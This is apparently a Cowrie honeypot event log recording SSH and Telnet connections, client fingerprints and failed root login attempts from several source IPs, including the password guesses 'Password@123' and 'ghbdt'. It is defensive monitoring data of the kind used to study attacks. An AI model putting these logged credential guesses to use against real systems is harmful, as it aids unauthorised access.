{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:44.621450Z","src_ip":"103.203.57.2","session":"3fabbadea215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:44.631558Z","src_ip":"103.203.57.2","session":"3fabbadea215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:54.618419Z","src_ip":"103.203.57.2","session":"3fabbadea215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.46925616264343,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:02.772561Z","src_ip":"192.119.13.58","session":"2822fe047254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.16883373260498,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:03.516707Z","src_ip":"192.119.13.58","session":"92c67123689e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72274875640869,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:11.855239Z","src_ip":"192.119.13.58","session":"b4859ef227fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80405926704407,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:17.082395Z","src_ip":"192.119.13.58","session":"4b206fe9ea16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72939705848694,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:17.282627Z","src_ip":"192.119.13.58","session":"eb30d6680c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":53823,"dst_ip":"159.203.135.109","dst_port":22,"session":"3511583b7112","protocol":"ssh","message":"New connection: 103.219.170.37:53823 (159.203.135.109:22) [session: 3511583b7112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:32.092794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:32.097664Z","src_ip":"103.219.170.37","session":"3511583b7112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.44","src_port":51442,"dst_ip":"10.17.0.5","dst_port":22,"session":"6639d1259d4b","protocol":"ssh","message":"New connection: 128.0.104.44:51442 (10.17.0.5:22) [session: 6639d1259d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:32.900659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:32.905267Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.032037Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.130920Z","src_ip":"103.219.170.37","session":"3511583b7112","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:fc:96:6c:49:d5:19:ae:c7:4a:fd:8a:93:ce:4c:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDie6n5Smb5Ihk/GVYZdoN1slbmQ+AaaN+K086lN8EO9Iw2UzZtX2EMDqajGrlI022QI1IQ2etAoUe4ipfNZTwvDJozp+yYbHABRysYrxypj+r4SkiSHf4QRfD7aAMZv8jzd2aS69GHoy46f0MJMH71TMbwbPxHnxCDCUTedPMu/RsKMjfToma5Who+/pKfIg7EY5wNX45ya+8ogfMCO8GT/7V6NHtlrF5dZrak996PyEyu/suK6JTEGGstJYE7lcXRSa6CrIvU0bJ9B+bN8LLp9SwR6nW2ue8iv9nYkERwsFda9kRXxuMnGQx6ZTd2d+WQLXZt+b7iZrA1ORaWzfut","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:fc:96:6c:49:d5:19:ae:c7:4a:fd:8a:93:ce:4c:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.623493Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:fc:96:6c:49:d5:19:ae:c7:4a:fd:8a:93:ce:4c:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDie6n5Smb5Ihk/GVYZdoN1slbmQ+AaaN+K086lN8EO9Iw2UzZtX2EMDqajGrlI022QI1IQ2etAoUe4ipfNZTwvDJozp+yYbHABRysYrxypj+r4SkiSHf4QRfD7aAMZv8jzd2aS69GHoy46f0MJMH71TMbwbPxHnxCDCUTedPMu/RsKMjfToma5Who+/pKfIg7EY5wNX45ya+8ogfMCO8GT/7V6NHtlrF5dZrak996PyEyu/suK6JTEGGstJYE7lcXRSa6CrIvU0bJ9B+bN8LLp9SwR6nW2ue8iv9nYkERwsFda9kRXxuMnGQx6ZTd2d+WQLXZt+b7iZrA1ORaWzfut","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.626448Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:0d:bd:e7:a5:8e:97:5b:d3:2e:fb:2a:3a:c1:a8:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwgJYxsMztx8Ef8emTpdWKvQuKw0RPLiohNY1qh5XtcxwDrE/A3y+wjPKCI2hLYTD5/R63jW+V/grw1d3F1T8pf/P7duffwtSCfa6W9IksjCqEcuGXd3q0BFXVXPivpn2OgI6nV8eVL/sC8FvhKl/V4F5dSudA0AfGgyRq7UtM48qhuLu95bLzoFT8KMCRRlVMBU/Od9tKWXltJS4VJidv6PFsnhjfa+sQvgI/KhUNj7J2diW4R3ULuGWxMlCrTNvu10s+XJSkMCsMvZdVs9tUY1HzERcPnGh1rBFEOgYcvtXql14eqfNY/UQZ5NQR9ggqcWR/QQkSGMwNs7h9/kfJ+jBuHo0V5FWLNEfjdYRYvG5RHgthQH+UxhzawIKiPfZ6c3bMxwwmA/eWxAFAzqRN8c2RsOvHS7x9htrHaUBNJZQmnDdih6v+9AYtFxrLqLvFgytM8Ie6po+TKd7sHl5lngn84isRMXiXeHEMfL8xs8njA60Sb3UuPftxD1SKETdjx3/sdiM4G+he+mOUd3xPQ7qLvvUBDoUd+u887779w5mQc7d0YHTdq0nDLburLkyMiyzKU/vv7kGhSRbADwUQgZnRaFdzfgpJFxq0wKRDNnQh8PYzSt+s1V2tOCIzzvm2ZrtkK+iU5Hvhp3BVOTcAW5YRV1n7mwVSSwJMe4c4yQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:0d:bd:e7:a5:8e:97:5b:d3:2e:fb:2a:3a:c1:a8:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.751250Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:0d:bd:e7:a5:8e:97:5b:d3:2e:fb:2a:3a:c1:a8:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwgJYxsMztx8Ef8emTpdWKvQuKw0RPLiohNY1qh5XtcxwDrE/A3y+wjPKCI2hLYTD5/R63jW+V/grw1d3F1T8pf/P7duffwtSCfa6W9IksjCqEcuGXd3q0BFXVXPivpn2OgI6nV8eVL/sC8FvhKl/V4F5dSudA0AfGgyRq7UtM48qhuLu95bLzoFT8KMCRRlVMBU/Od9tKWXltJS4VJidv6PFsnhjfa+sQvgI/KhUNj7J2diW4R3ULuGWxMlCrTNvu10s+XJSkMCsMvZdVs9tUY1HzERcPnGh1rBFEOgYcvtXql14eqfNY/UQZ5NQR9ggqcWR/QQkSGMwNs7h9/kfJ+jBuHo0V5FWLNEfjdYRYvG5RHgthQH+UxhzawIKiPfZ6c3bMxwwmA/eWxAFAzqRN8c2RsOvHS7x9htrHaUBNJZQmnDdih6v+9AYtFxrLqLvFgytM8Ie6po+TKd7sHl5lngn84isRMXiXeHEMfL8xs8njA60Sb3UuPftxD1SKETdjx3/sdiM4G+he+mOUd3xPQ7qLvvUBDoUd+u887779w5mQc7d0YHTdq0nDLburLkyMiyzKU/vv7kGhSRbADwUQgZnRaFdzfgpJFxq0wKRDNnQh8PYzSt+s1V2tOCIzzvm2ZrtkK+iU5Hvhp3BVOTcAW5YRV1n7mwVSSwJMe4c4yQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.755422Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:6a:56:ee:51:71:e0:f2:69:bf:0a:5f:2b:85:aa:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw3O9R48wBBiFVuoJET6pwGbt3l8YQyLTHhEA3T7M7BRWgIZC6I57FoEx9ZNhaOYLWDlPriztiApYbkbHERecLePZt2h8nKo6UxqqUQDJJ3K5cEwl4DEwRTBokUzKs8sDAfazCJq1wUpLaDBSAuhZPetnenOMcEZKGG2d4f+Sh8FLYtfIHB/mkwm+h9iN5FCzwXz/8pdE/wGN9Ym9cnz/tJCJIgck+kb4R2zuBe+iFuB8DVUnf3mggEbiOfIOYBZFPrP27sjJnw5rxX+/vV9fTulW/aMV+7+A/8H9QKYZJz3MY0A+qQR3EUssapPocvUTYqt7RFgxBsrIQc9CHtlev","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:6a:56:ee:51:71:e0:f2:69:bf:0a:5f:2b:85:aa:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.878793Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:6a:56:ee:51:71:e0:f2:69:bf:0a:5f:2b:85:aa:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw3O9R48wBBiFVuoJET6pwGbt3l8YQyLTHhEA3T7M7BRWgIZC6I57FoEx9ZNhaOYLWDlPriztiApYbkbHERecLePZt2h8nKo6UxqqUQDJJ3K5cEwl4DEwRTBokUzKs8sDAfazCJq1wUpLaDBSAuhZPetnenOMcEZKGG2d4f+Sh8FLYtfIHB/mkwm+h9iN5FCzwXz/8pdE/wGN9Ym9cnz/tJCJIgck+kb4R2zuBe+iFuB8DVUnf3mggEbiOfIOYBZFPrP27sjJnw5rxX+/vV9fTulW/aMV+7+A/8H9QKYZJz3MY0A+qQR3EUssapPocvUTYqt7RFgxBsrIQc9CHtlev","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:33.882828Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:de:62:c9:55:e3:e5:0d:16:e4:01:c1:ab:88:6b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoBkVd/CVJQu3kUZMxwOio2OXFCnx29iVMITcdjj0MS2mceadpN/JPLBfrMC9jWCwYYpVOJup2xHPCIz6M/LIsjI3r3HI8ukZrtdHl1nfVEqC8sB9a36qiWa4GfkvfqgUclcwY+WxanHkIfxuEyZMqe0X7F3N2aUUrnvbxG+0f7kz0F6HLNN/G3tYT1d+1ZszLPGdtB262a8p1R1GsdbreMiUKosAXRokF9H76auuMFD5vOOc0uMTYiVnLJxdEvr8LgAPS7LJtBYwJmj+h0u2iWwwXA/AngEMjTJVauHxE+w2G34j88b3SOjbYlr79YXmqu0HUUGYgjQAMgMxswljN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:de:62:c9:55:e3:e5:0d:16:e4:01:c1:ab:88:6b:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:34.005779Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:de:62:c9:55:e3:e5:0d:16:e4:01:c1:ab:88:6b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoBkVd/CVJQu3kUZMxwOio2OXFCnx29iVMITcdjj0MS2mceadpN/JPLBfrMC9jWCwYYpVOJup2xHPCIz6M/LIsjI3r3HI8ukZrtdHl1nfVEqC8sB9a36qiWa4GfkvfqgUclcwY+WxanHkIfxuEyZMqe0X7F3N2aUUrnvbxG+0f7kz0F6HLNN/G3tYT1d+1ZszLPGdtB262a8p1R1GsdbreMiUKosAXRokF9H76auuMFD5vOOc0uMTYiVnLJxdEvr8LgAPS7LJtBYwJmj+h0u2iWwwXA/AngEMjTJVauHxE+w2G34j88b3SOjbYlr79YXmqu0HUUGYgjQAMgMxswljN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:34.009958Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:88:8b:bd:2e:b1:65:27:4f:7b:a2:cd:21:3d:12:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTAOml8pOja8OH5DvVIedHdenjx2aGR/FPSgnr8i9sGnc4HStzwbOelSoCCRNP+ZVgXI/4nIl/qC1JBy52oSfWAuRqudyORCl1A61NrxMLx/ckTRO3WT9CbXwafgZBwkdBE9DX6yoqIqPFMliPoMdgkL9Ym4kDGMRuFZMVMQQ+J60HSJRZir3Lk1jAsB78XDzXBqU8Z/jpKAnXsVLf89ktNpJ1rrtkr7O/jd6SoZ02bp2WlN7aCx7uvlFJHpJ+nXFVP/lEGluot2nCW0XAHv71qDhCMa524UfSPYbMBMv19bZosQSA3wYgvPIwNCDjsFgTVO5sxk390ESHTMpJuPQR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:88:8b:bd:2e:b1:65:27:4f:7b:a2:cd:21:3d:12:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:34.132327Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:88:8b:bd:2e:b1:65:27:4f:7b:a2:cd:21:3d:12:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTAOml8pOja8OH5DvVIedHdenjx2aGR/FPSgnr8i9sGnc4HStzwbOelSoCCRNP+ZVgXI/4nIl/qC1JBy52oSfWAuRqudyORCl1A61NrxMLx/ckTRO3WT9CbXwafgZBwkdBE9DX6yoqIqPFMliPoMdgkL9Ym4kDGMRuFZMVMQQ+J60HSJRZir3Lk1jAsB78XDzXBqU8Z/jpKAnXsVLf89ktNpJ1rrtkr7O/jd6SoZ02bp2WlN7aCx7uvlFJHpJ+nXFVP/lEGluot2nCW0XAHv71qDhCMa524UfSPYbMBMv19bZosQSA3wYgvPIwNCDjsFgTVO5sxk390ESHTMpJuPQR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:34.135581Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:34.259740Z","src_ip":"128.0.104.44","session":"6639d1259d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:34.857152Z","src_ip":"103.219.170.37","session":"3511583b7112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b5648f365e","protocol":"ssh","message":"New connection: 62.133.62.83:42938 (159.203.135.109:22) [session: c8b5648f365e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:35.495074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:35.499997Z","src_ip":"62.133.62.83","session":"c8b5648f365e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:35.579222Z","src_ip":"62.133.62.83","session":"c8b5648f365e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdt","message":"login attempt [root/ghbdt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:35.820486Z","src_ip":"62.133.62.83","session":"c8b5648f365e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:36.197025Z","src_ip":"103.219.170.37","session":"3511583b7112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:26:36.916291Z","src_ip":"62.133.62.83","session":"c8b5648f365e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34344,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a5ac389319","protocol":"telnet","message":"New connection: 192.119.13.58:34344 (10.17.0.5:23) [session: 47a5ac389319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:00.160675Z"}
{"eventid":"cowrie.session.closed","duration":3.5131664276123047,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:03.673283Z","src_ip":"192.119.13.58","session":"47a5ac389319","protocol":"telnet"}
